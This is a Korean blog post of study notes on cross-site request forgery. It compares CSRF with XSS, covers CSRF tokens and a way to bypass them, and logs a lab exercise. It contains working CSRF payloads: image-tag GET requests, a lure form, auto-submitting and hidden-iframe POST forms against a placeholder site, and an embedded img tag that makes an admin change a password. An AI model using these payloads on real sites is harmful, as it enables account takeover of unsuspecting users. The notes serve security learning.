본문 바로가기

개념정리

12주차 CSRF POST GET / CSRF VS XSS / CSRF WITH CSS / CSRF TOKEN

12주차 CSRF POST GET / CSRF VS XSS / CSRF WITH CSS / CSRF TOKEN


 

 

CSRF

- 클라이언트 측 요청 위조


 

CSRF VS XSS

- CSRF 클라이언트 측 요청위조 서버 응답 -> 피해자 원하지 않는 요청 실행

- XSS   클라이언트측 스크립트 삽입 클라이언트 응답 -> 악성스크립트 실행

- 두개는 별개지만 CSRF가 존재하면 대부분 XSS를 찾을 수 있다.

 


 

CSRF WITH XSS 

- 공격 성공률 증가

- GET METHOD/POST METHOD

- 포스트 메소드로 응답을 바꾸면 반만 CSRF를 막는것이다 XSS포인트가 완전하게 존재하지 않을때만 사용 가능하다

 


GET METHOD

<script>
var i = new Image();
i.src = "Bad Request Link";
</script>

- 스크립트 작성

<img src="Bad Reqeust Link">

- 실행되는 이미지 태그


POST METHOD

EX)

<h1>아래 버튼을 클릭해주세요!</h1>
<form method="POST" action="https://vuln-site
<input type="hidden" name="password" value="12
<input type="submit" value="Click Me">
</form>

- 버튼 유도

<form method="POST" action="https://vuln-site.com/vulnPage.php" id="myForm">
<input type="hidden" name="email" value="normaltic@test.com">
</form>
<script>
document.getElementById('myForm').submit();
</script>

- 자동 전송

<iframe width="0" height="0" border="0" name="stealthframe" id="stealthframe" style="display: none;">
</iframe>
<form method="POST" action="https://vuln-site.com/vulnPage.php" id="myForm" target="stealthframe">
<input type="hidden" name="email" value="normaltic@test.com">
</form>
<script>
document.getElementById('myForm').submit();
</script>

- 스텔스 자동전송


 

CSRF TOKEN

- CSRF 대응방안

- CSRF 공격을 막기위해 랜덤한 토큰값을 사용

- 페이지에 접근할때 토큰을 발행하고 값을 제출 할 때 토큰값을 함께 보내는 것

- http://링크?id=&pw=& -> http://링크?id=&pw=&csrfToken=ekekkeke

- 우회 가능


 

CSRF TOKEN 우회

EX)

<form>
<input>
<input type="hidden" name="csrfToken" value="ralfjfalka랜덤값">
</form>

- 폼 태그 이용

 

<iframe src="mypage">
<script>
토큰 가져오기
폼태그로 보내기
</script>

- iframe으로 사이트 띄운후 토큰 가져와 폼 태그로 보내기

 

 


실습페이지

get method

마이페이지 변경

회웢정보 수정 성공

인증정보 확인

요청위조 가능

리피터 넘기고

포스트 메소드 -> get방식으로 보내는거 가능 확인

관리자가 해당 링크 클릭하면 되겠군 롹인

normaltic_admin확인 링크 입력

관리자 알아챔

회원정보 수정에 성공했다는 내용 나옴 

게시글에 링크 삽입함

ex)

<img src="마이페이지 비밀번호위조 페이지">

작성후 게시글 보기 링크 보기

그림이 넣어져 있긴함 비밀번호 변경 요청 날라감